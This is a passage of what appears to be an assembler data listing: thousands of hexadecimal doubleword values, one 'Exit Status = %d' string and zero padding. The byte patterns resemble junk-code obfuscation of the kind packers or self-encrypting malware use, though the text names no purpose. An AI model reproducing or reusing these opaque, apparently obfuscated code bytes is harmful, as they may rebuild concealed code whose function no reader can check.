		dd 2CE70000h, 0D688B6DCh, 4D0C9298h, 0D613BFEAh, 1B58CDBDh
		dd 0E04E26C9h, 764014E9h, 0CC22F46Bh, 19B5C070h, 9388B895h
		dd 5E13DD95h, 0C617A6F1h, 5E028DB5h, 0FD466EF9h, 785F44ADh
		dd 0AB26E475h, 4DA0C15Dh, 9884FAC6h, 4B1D989Dh,	0D147ABFAh
		dd 1B17CCA0h, 0E65527CBh, 6B5D44BAh, 0C031E52Ch, 0EB1C333h
		dd 9EB9FA9Bh, 595E8E92h, 9302A3F6h, 1C1883AEh, 0FC506EE9h
		dd 78120FBBh, 0CE2EFF62h, 0FACD22h, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2BF9E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E917DBC3h, 9, 952AD556h, 65F7A0EDh
		dd 9589FC86h, 61500F9h,	9589C08Bh, 61520CDh, 0BD837DB2h
		dd 61508F5h, 83097500h,	1503ADBDh, 13740006h, 0C08B5350h
		dd 1B8h, 409D8D00h, 0FF0617A9h,	83585BD3h, 1503ADBDh, 11740006h
		dd 1B85350h, 8D000000h,	17A7F19Dh, 5BD3FF06h, 13800F58h
		dd 0E9000000h, 0Eh, 95B9BCEDh, 483605FAh, 0BA346444h, 958B66B6h
		dd 6152B25h, 0BD83C08Bh, 6151E15h, 0C5840F00h, 3000001h
		dd 1524359Dh, 9BD8306h,	61503h,	1B2840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 33C7FCC3h, 60D78B66h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 49C35343h, 0F2DBC43Bh, 0CFD985Eh, 8BD38B6Dh
		dd 15030985h, 0E7805306h, 0E8055B7Ch, 0F000003h, 68Dh
		dd 29958B00h, 50061522h, 489D18Bh, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0FAC23544h
		dd 0BAD9D29h, 858D0615h, 6154F55h, 27999589h, 0E8900615h
		dd 8, 8B697B34h, 0D86B2786h, 5B616053h,	5260505Bh, 8E8h
		dd 0BB3D3A00h, 4284AD59h, 0F585BA5h, 28Ch, 61616000h, 0B9BD2990h
		dd 8D061522h, 154F3385h, 0CE806h, 0A66A0000h, 479A207Ch
		dd 2D98AEC3h, 0D18B745Bh, 5250505Ah, 13E8h, 43437100h
		dd 9FB1BB15h, 9FD50D2Eh, 0F3478A22h, 59AD0CBDh,	0F5B6160h
		dd 0D88B6631h, 489585Ah, 5FC28024h, 8E19589h, 95FF0615h
		dd 6152F29h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	9AC35747h, 0BA98D89h, 85890615h, 61518E5h, 0B0CC483h
		dd 15116595h, 33858D06h, 6A06154Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 73ACC356h
		dd 5DBA25A2h, 794C30E8h, 89DF8B50h, 8F0F2404h, 6, 23FD9D89h
		dd 26A0615h, 0FFC7EA80h, 6AED1495h, 0D18B6600h,	0EE961h
		dd 46C20000h, 0F5F0B421h, 0C2638E50h, 0C439DC68h, 4F6685C7h
		dd 10615h, 0E2810000h, 2BD463E3h, 0D68B6650h, 29243489h
		dd 15046DB5h, 0C1C28106h, 897D4B05h, 154F17B5h,	9E806h
		dd 6A9B0000h, 0A652B552h, 0F55F054h, 685h, 8D850100h, 5B06151Ch
		dd 2DB5BD83h, 0F010615h, 7785h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0A6A1E670h
		dd 2EFE1E39h, 0CA80F03Eh, 5F883B0h, 46850Fh, 0E3810000h
		dd 6ECD7A3Fh, 99858953h, 5A061523h, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 6689C24Ah, 0FF943BBh, 0B84h,	0BD016000h, 6152831h, 61F4D880h
		dd 56DBD83h, 0F000615h,	3784h, 0CA816600h, 8B600B15h, 1501FD9Dh
		dd 6D95FF06h, 0F061505h, 884h, 9D8B5100h, 6150421h, 0B589605Ah
		dd 61514C5h, 0E9858B57h, 59061528h, 9D2B6161h, 615100Dh
		dd 0A01BD83h, 0F000615h, 1484h,	77F38100h, 0B8799B99h
		dd 0
		dd 909B509h, 0BF0F0615h, 6A60D0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 2E6D9AC3h, 590E0473h
		dd 5D28166h, 49858B58h,	83061528h, 6A02C0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BBE84C3h
		dd 1517E995h, 0F858906h, 6006154Fh, 945BD01h, 8D290615h
		dd 6151E89h, 0FF00C661h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0F2C35040h, 859503E2h, 89061517h, 15110585h
		dd 0AD9D8B06h, 0C6061519h, 1509C585h, 958B5306h, 6152789h
		dd 971958Bh, 0D4680615h, 0BBE26F92h, 53C19D7Fh,	0C243481h
		dd 801EDEDAh, 0B5FF2ED3h, 6152811h, 0D559589h, 858D0615h
		dd 61872BCh, 19D99589h,	0D0FF0615h, 259CB0BAh, 2185895Bh
		dd 0B206152Eh, 0EDBD83DBh, 106150Bh, 63850Fh, 85890000h
		dd 6152D0Dh, 600BA61h, 9D8B0EAAh, 6151721h, 9C585C6h, 0BA450615h
		dd 4B0D7FF1h, 95A36068h, 0D78B66BBh, 0A2243481h, 0B661F59Bh
		dd 11B5FF0Eh, 29061528h, 150C7DBDh, 1850906h, 8D061501h
		dd 1872BC85h, 559D8B06h, 0B06150Ah, 15139195h, 9D0FF06h
		dd 1533E18Dh, 0B2006A06h, 0B3D0FFA3h, 0D5BD838Ch, 1061533h
		dd 137850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 417D69C3h, 4CE2F3B6h, 80368F93h
		dd 858B7CEFh, 6152849h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0F4C35040h, 17C6A38Bh, 870F6051h, 0Dh
		dd 8E9h, 5FE19600h, 0F02A8E79h,	0B50B51EBh, 6151D39h, 76E96158h
		dd 66000000h, 718CF281h, 8A525090h, 0E9310FF3h,	0Eh, 0F4111CB2h
		dd 0B0D5F41Bh, 6696CEC5h, 585A55C9h, 0B0BB6650h, 8E9907Ch
		dd 7C000000h, 0BCC6E63Fh, 6AC82F28h, 51006A14h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D59A9E5Fh
		dd 606FE1C6h, 8E98BB66h, 9EF8BF66h, 0FFDD8A61h,	152E2195h
		dd 8D8BBA06h, 89587D09h, 15024DB5h, 388006h, 0FF86850Fh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0D27E58C3h, 0C6F9322Fh, 6A0100h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0C87784C3h, 8B667F1Eh, 6A61DFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 9BE9D9C3h, 0B3B32699h
		dd 1DBD838Eh, 61503h, 3B840Fh, 81660000h, 6A6E02E2h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FFB84127h, 152E2195h, 5AF95106h, 0FFFFD2E9h, 8D8960FFh
		dd 6150C15h, 1D85C761h,	1061503h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 2B1C357h, 8B455EE9h,	15184995h, 1B858906h, 0F06154Fh
		dd 186h, 0BB90F800h, 2C5645B7h,	7E850h,	0FC3F0000h, 2CB086FAh
		dd 57525085h, 0F310F5Ah, 83h, 5A585A00h, 0F9950B90h, 6006152Ch
		dd 6AD0B70Fh, 0C1BD8905h, 8D061521h, 154F3385h,	90BEB306h
		dd 12E9h, 0CF3DA600h, 0DDCFCC9h, 505037ABh, 0C4689A53h
		dd 50B86936h, 8190D38Ah, 11FA67EAh, 23858D16h, 6A06154Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0C666C352h, 0E3FD793Ch, 0F8E84A9h, 0A8D8509h
		dd 89500615h, 830F2404h, 19h, 0FE960h, 81320000h, 482D9F06h
		dd 88EF62E5h, 4703BC4Fh, 0CEB70F92h, 0B195FF61h, 6A061504h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2A74C351h, 7AFD8D8Dh, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 905FC2C3h
		dd 0E280D68Bh, 74C00B26h, 33858D11h, 5006154Fh,	8589D1FFh
		dd 6154F51h, 85C70AEBh,	6154F51h, 0FFFFFFFFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 84C35545h, 5A9D641Bh
		dd 0F6E7857Ah, 3941C281h, 6A613635h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 80F7C355h
		dd 7BB00BE2h, 0BD89B3E5h, 6153371h, 85C6D18Bh, 61509C5h
		dd 2D9D8B4Dh, 68061526h, 8C38F817h, 5AD68B56h, 0BF243481h
		dd 6A280D8Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 3DFCC356h, 94ED015Dh, 0FF29D728h
		dd 152159B5h, 858DF906h, 61872BCh, 6731BA66h, 8E8D0FFh
		dd 65000000h, 0BCF6CBEAh, 896F1EF8h, 150C65B5h,	85895A06h
		dd 61506D5h, 0EF8028B2h, 0C585C671h, 45061509h,	1121958Bh
		dd 958B0615h, 6152925h,	52963C68h, 53525081h, 5BD88B66h
		dd 8B66310Fh, 81585ADEh, 0D32D2404h, 0DB800D1Fh, 0CA81660Dh
		dd 0B5FFD8C6h, 6152811h, 3445B509h, 858D0615h, 61872BCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 53C35545h
		dd 994F8B20h, 930283A2h, 9589D0FFh, 61511D9h, 26698589h
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 3BF84FC3h, 0BF0F3545h, 0D88B66DBh, 6AD28Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BA075AC3h, 0A4440887h, 9D8BF0Fh, 15074985h,	0D98C6606h
		dd 0C1F6D9B7h, 40840F04h, 6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 73E6C355h
		dd 0C7A35ADCh, 895A01A0h, 15271185h, 0D9958B06h, 0E9061522h
		dd 110h, 18B5958Bh, 0B58B0615h,	6150B8Dh, 0CE9h, 125BE300h
		dd 681BD834h, 0FC6B2B7Fh, 80C68166h, 6A000011h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 2992C351h, 0F4D90E84h, 0C45685C3h, 5E28BB66h, 1E01BD83h
		dd 0F000615h, 2A85h, 87E9FC00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 668C352h
		dd 6BB01B80h, 83D78B83h, 840F003Eh, 5Ah, 0A18D0957h, 5B061511h
		dd 0CB816660h, 146AD69Fh, 95FF87B7h, 6152E21h, 202115BAh
		dd 6A6145h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0AEE235C3h, 9E8D2E9h, 0D2000000h,	6A36571Dh
		dd 1C12136Fh, 16759D09h, 0E95B0615h, 0FFFFFF9Fh, 6C7D68Bh
		dd 1, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 19h
		dd 9BC35141h, 0FC0A977h, 2E7806Ch, 4F1BBD83h, 0F050615h
		dd 0EE85h, 0D78B6600h, 2669B58Bh, 8D0F0615h, 0
		dd 64B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 86A0161Eh, 0B70FEFBEh, 8D9529DBh
		dd 80061513h, 840FE83Eh, 3Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 7AC35141h, 3706E99Ah, 8B81BBC5h
		dd 151E8995h, 2DE906h, 8E90000h, 8E000000h, 3AFCFF4Ch
		dd 80A95BF0h, 0FC2057Eh, 5084h,	0D870F00h, 0E9000000h
		dd 8, 1993C66h,	0A64C2711h, 46D9B70Fh, 10819D23h, 0F490615h
		dd 0FFFF8E85h, 95BD89FFh, 0E9061523h, 33h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 67C35141h, 80E7EF87h
		dd 31B58972h, 906150Eh,	151159B5h, 0B18D8906h, 58061525h
		dd 5B57F381h, 0BD8336B1h, 61528C9h, 0EA840F00h,	60000000h
		dd 82C28166h, 0C585C619h, 54061509h, 18E59D8Bh,	0B0680615h
		dd 0B6D3D3E6h, 24348149h, 2C9D5844h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0F2C35141h,	1D859D89h, 0FFF90615h
		dd 152811B5h, 0D0BF0F06h, 8DD9B70Fh, 1872BC85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 9422F9C8h, 0E8D55877h, 8, 9879B14Dh,	0F0A8E50Eh, 0FF5AD08Bh
		dd 0B19D23D0h, 6A061527h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 6DBB6658h
		dd 0C9B5FFEBh, 89061528h, 15129195h, 66D0FF06h,	6A61D38Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0A6FAC350h, 0F87174Ch, 8Ah, 0A985C700h, 1061518h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 696DC350h, 898A305h, 66603C4Fh
		dd 8D8BC18Bh, 615035Dh,	6A6061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BCBB5C3h, 150A4D95h
		dd 160B6806h, 0D08B2A62h, 8B243481h, 0F2A6216h,	484h, 0D38B5000h
		dd 89FF6A5Bh, 152E3D95h, 8D95FF06h, 8B061524h, 15108995h
		dd 14E96106h, 0B7000000h, 54503BC5h, 0D8BE598Ah, 0FEE6E775h
		dd 78355A26h, 8B51458Fh, 152A519Dh, 0BE99006h, 4B000000h
		dd 7E4880DDh, 664C6742h, 6050A7D7h, 9061B6B7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B0C35646h, 6655D5A3h
		dd 0B074D98Eh, 0DDBD31AAh, 8B061505h, 150C2185h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0B449B627h, 1165E858h, 0FE84A03h, 65000000h,	10BAE66Bh
		dd 2C1C3F32h, 81674D51h, 0BF0FD0E1h, 0C00B5AD0h, 0C840Fh
		dd 95FF0000h, 6152B39h,	947DE281h, 85C7636Bh, 615111Dh
		dd 1, 38F0Fh, 0DF800000h, 0E9BD831Eh, 61502h, 0F840Fh
		dd 0C2800000h, 595FFA0h, 89061515h, 15261585h, 75BD8306h
		dd 61507h, 11840Fh, 0DE8B0000h,	82595FFh, 0E7800615h, 819D8B75h
		dd 8306151Eh, 150DC1BDh, 840F0006h, 9Eh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0C0C35343h, 0F585898Bh
		dd 83061512h, 150A19BDh, 850F0006h, 6Eh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0BDC35141h, 7DAA246Ah
		dd 0DFD97B44h, 8D8951FFh, 615100Dh, 0E595FF5Bh,	6A061501h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2E81C351h, 0D9D8B9Fh, 0F061529h, 1188h, 0CE900h
		dd 5D960000h, 0B1E6402Ch, 0C015E65Ch, 0BD83F2BBh, 61525CDh
		dd 6A840F00h, 0F000000h, 685h, 7DB53100h, 81061508h, 15138585h
		dd 400306h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 5D8F80FAh, 499D8B6Bh, 8106150Ch
		dd 1502A185h, 400306h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 43A3F628h, 0FC6BB560h
		dd 0E9310F61h, 10h, 0D60993A6h,	0E5A30067h, 5973F92Bh
		dd 0E41E7FF5h, 5EA48D8Dh, 8B660615h, 890189DEh,	150AA985h
		dd 6AC23306h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 6725C350h, 7D96C729h, 6A59D01h
		dd 41890615h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 810F57D9h, 6, 0FF99529h, 310F0615h
		dd 12E9h, 4A32DD00h, 5C433CD0h,	0D767B3D8h, 88ACC4AEh
		dd 8D9C6882h, 155ED48Dh, 0DE806h, 22150000h, 53DEB198h
		dd 7D362008h, 81680778h, 548685CBh, 1895A42h, 0DE957h
		dd 1CF30000h, 0E7395180h, 2C0F807Ah, 5A79C2DAh,	0B70FC233h
		dd 44189D6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	50C35747h, 0D2F9981Ah, 839314D0h, 151CF9BDh, 840F0006h
		dd 11h,	8A5BD29h, 95FF0615h, 6150931h, 883E7ABAh, 45BD832Eh
		dd 1061500h, 57850Fh, 0F38A0000h, 50E9h, 4ABA5000h, 5B4F0D92h
		dd 6025B58Bh, 6C70615h,	0
		dd 5DA6B58Bh, 6C70615h,	0
		dd 95958BCFh, 6A061511h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0A917C353h,	85DA0120h
		dd 8967EF07h, 15127D8Dh, 1DBD8306h, 61511h, 113840Fh, 0BB660000h
		dd 0BD838B93h, 6150941h, 0EF850F01h, 53000000h,	5B08EF80h
		dd 4F0F8D8Bh, 0DB810615h, 25EC902Ch, 0E90001C6h, 12h, 9F20A7DEh
		dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 6A60EBE3h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 941AC352h, 0F921D6Fh, 0E468D1BFh, 0E8610B98h, 9, 7BCAE13Bh
		dd 7B0DAC17h, 0D86ABA60h, 815A08BFh, 98642434h,	5E9610Bh
		dd 8A000000h, 273F43CDh, 0FFFF6AF5h, 15248D95h,	0E8D78006h
		dd 49CF8061h, 260195FFh, 958B0615h, 6152D49h, 4F0F8D8Bh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 606B2FC3h, 8518481Ah, 80BCAADDh, 1FEDBEAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 8C35141h
		dd 0E789A0BFh, 8D1B5B0Ah, 13899D8Bh, 0BD830615h, 6151CE1h
		dd 6850F01h, 81000000h,	67D064DBh, 6AC08B74h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2375C357h, 95958BDAh, 8306150Ah, 1508F5BDh, 9750006h
		dd 3ADBD83h, 74000615h,	8B53501Ah, 85858BC0h, 89061513h
		dd 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h,	1503ADBDh
		dd 18740006h, 858B5350h, 6151385h, 13858589h, 9D8D0615h
		dd 617A78Dh, 585BD3FFh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7BC35242h, 62834242h,	5263DFADh, 8A0F60h
		dd 29000000h, 1518E595h, 315A6106h, 150B7D8Dh, 6AC08B06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0B3F1C356h, 661E254Eh, 4BA1E281h,	83D8CB80h
		dd 15111DBDh, 850F0006h, 1Bh, 83FC21B3h, 152975BDh, 840F0006h
		dd 0Bh,	4CE58060h, 7ADBD89h, 83610615h,	15111DBDh, 840F0006h
		dd 49h,	9E9h, 6677E200h, 0EB4F0DD8h, 0BD837996h, 6150C79h
		dd 2E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 982EC356h, 0D7838DADh
		dd 66877BDAh, 8B33ADBBh, 1519A19Dh, 1DBD8306h, 61511h
		dd 30840Fh, 83F80000h, 150C79BDh, 840F0006h, 22h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 88C35545h, 0A0E556C4h
		dd 0BD83D37Fh, 615111Dh, 46840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8E90C353h, 49CB8166h, 75B58904h, 83061528h, 151655BDh
		dd 840F0006h, 11h, 0CE9h, 4B4EE100h, 52F03BA5h,	12C73593h
		dd 1DBD83C8h, 61511h, 56840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4FCB1C3h
		dd 0F5605A5Eh, 2810Fh, 0D18B0000h, 0D19D8B61h, 83061533h
		dd 15089DBDh, 840F0006h, 18h, 7E9h, 0E6505D00h,	87ED7281h
		dd 237595FFh, 9D890615h, 6152869h, 9D23C08Bh, 615226Dh
		dd 2D01BD89h, 0BD830615h, 61508F5h, 83097500h, 1503ADBDh
		dd 1A740006h, 0C08B5350h, 2A1858Bh, 85890615h, 61502A1h
		dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50187400h
		dd 0A1858B53h, 89061502h, 1502A185h, 0A69D8D06h, 0FF0617A7h
		dd 6A585BD3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 9F6DC351h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF6D5582h, 0BBE40734h
		dd 6810F52h, 31000000h,	1528B195h, 0EE95B06h, 92000000h
		dd 948E189h, 0C9E9A78Dh, 0BD924586h, 6AC08B55h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0B3ADC350h, 78F6BBAAh, 0BD832635h, 615111Dh,	7D840F00h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 12B4C350h, 81B91087h, 431F5343h
		dd 6E960h, 0E0420000h, 0E1436F5Ah, 0EDBD8361h, 206150Bh
		dd 35840Fh, 0BD830000h,	6150045h, 28850F01h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 813AC355h, 9D8B597Eh, 6152215h, 60FDC780h
		dd 7AAB61BBh, 0A1F6803Ah, 4F0F8D8Bh, 95890615h,	61520B1h
		dd 0FE5BDA80h, 0A8F38001h, 26135068h, 81D98BE6h, 0ED302404h
		dd 6A19D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 721E65C3h, 11E914h, 22860000h, 0FF28EC2Bh
		dd 9E8770B8h, 16E28D32h, 6A167D5Ch, 9E8FFh, 6BF10000h
		dd 7D04F832h, 8B72300Eh, 1528A99Dh, 95FF5A06h, 615248Dh
		dd 2F359D8Bh, 6A610615h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0BAB8C351h,	7BBC67F2h
		dd 958BD911h, 6151379h,	5E1BD8Dh, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FC0AAC3h
		dd 681h, 3D958B00h, 8B061507h, 81661C4Fh, 6A075ACBh, 50006A01h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0FA5A1D27h, 0F3BA9B74h, 0D7E280A6h, 10E96050h, 46000000h
		dd 0AAF878F8h, 22369F09h, 6A323DFBh, 8B645503h,	0C8961C8h
		dd 0A9852924h, 0F061525h, 858DDBBFh, 6183736h, 0D0FF0CB2h
		dd 8B1DF780h, 6AF8204Fh, 99958B03h, 5006152Ah, 52505250h
		dd 310F5A53h, 8D9D15BBh, 0F585A67h, 1ABB6631h, 89585AE4h
		dd 6A240Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 524B0DC3h, 13A7176Ch, 0D08B89EAh,	0BB99D8Bh
		dd 858D0615h, 6183736h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 1DC35545h, 60D0FFF8h,	188C0Fh, 13E90000h
		dd 30000000h, 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h
		dd 8D61C276h, 1505E1BDh, 659D2B06h, 8B06152Ch, 0BAB31C4Fh
		dd 50F5016Ah, 0E85F5660h, 10h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh
		dd 6A4B655Ah, 6159C88Bh, 80240C89h, 858D56EEh, 6183736h
		dd 5880Fh, 81660000h, 0FF10B6EBh, 0DAB70FD0h, 66204F8Bh
		dd 9B72CA81h, 8B66036Ah, 0E5BB50D9h, 89123FC5h,	9589240Ch
		dd 6151299h, 3736858Dh,	0D78B0618h, 56C38166h, 50D0FFCDh
		dd 33E99D8Bh, 815B0615h, 4320B2E3h, 0F8D8B53h, 8B06154Fh
		dd 15192995h, 0F01FE06h, 18Fh, 858BF500h, 6154F0Fh, 6890Fh
		dd 9D8B0000h, 6150885h,	1335958Bh, 0FE0615h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C1C35545h, 0E53579C4h
		dd 0D023CB8Dh, 9D8B016Ah, 6150E11h, 0A2AAF168h,	18F8BBDEh
		dd 481394Ah, 5CF50E24h,	3D9D8921h, 8D061517h, 18374085h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 7D20953Fh, 377BAA32h, 958B11A0h,	6152399h
		dd 8D89D0FFh
		dd 6152A2Dh, 2975BD83h,	0F000615h, 10684h, 85895000h, 6152A99h
		dd 0B5BD835Bh, 106152Dh, 0F1850Fh, 0BB660000h, 8D8DF682h
		dd 618374Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	82C35040h, 8AC9D663h, 0C28166D3h, 36A4216h, 850Fh
		dd 16A0000h, 2395958Bh,	0D1FF0615h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 3DC35242h, 8459307Bh, 0E381DDBEh
		dd 4DE057A4h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 17E6FEC3h, 5890Fh, 99BB0000h, 6A22D915h
		dd 53006A01h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 71BB8162h, 0FF3C9441h, 138B0FD1h, 0F000000h
		dd 0D82h, 7E800h, 0C0350000h, 0E672F01Bh, 3EE85AD3h, 0E9FA466Dh
		dd 13h,	61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 6A4B55B8h
		dd 0D6B70F20h, 0BF0FFF6Ah, 8D95FFD1h, 66061524h, 0B80E56BBh
		dd 0
		dd 9EC38166h, 0FC00B41h, 4184h,	83B2B300h, 152679BDh, 840F0006h
		dd 32h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 0C1C35646h, 0DA160879h, 0F90CAF4h, 95FFDFB7h, 6153401h
		dd 355DF281h, 858B26CAh, 6152849h, 0D78B6656h, 0C65Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9AC35747h
		dd 8589085Dh, 6151651h,	0A1BA6658h, 0D98C6697h,	6810Fh
		dd 0BD090000h, 61517A9h, 0EE98D381h, 0C1F645BAh, 45840F04h
		dd 8B000000h, 15019D9Dh, 3AE906h, 0EA800000h, 8E967h, 0EDB60000h
		dd 47017783h, 0B58B3530h, 6150B8Dh, 2C659D09h, 0C6810615h
		dd 1180h, 0D359D03h, 958B0615h,	6152829h, 6C7h,	95890000h
		dd 6152E45h, 51006A5Eh,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 98D404E1h, 0E695FDA3h, 5156C8BCh
		dd 18B9958Bh, 5B5B0615h, 0F00F883h, 0AA784h, 8166F500h
		dd 8354A8E3h, 850F01F8h, 1C4h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0C4C35040h,	0B8FC8Ah, 66000000h
		dd 9589D78Bh, 61515F5h,	840FC00Bh, 0FAh, 2639B531h, 0F8830615h
		dd 1C840F01h, 8B000001h, 1508D595h, 0CA816606h,	0F8832995h
		dd 78840F03h, 8B000000h, 152DF595h, 6AC02B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
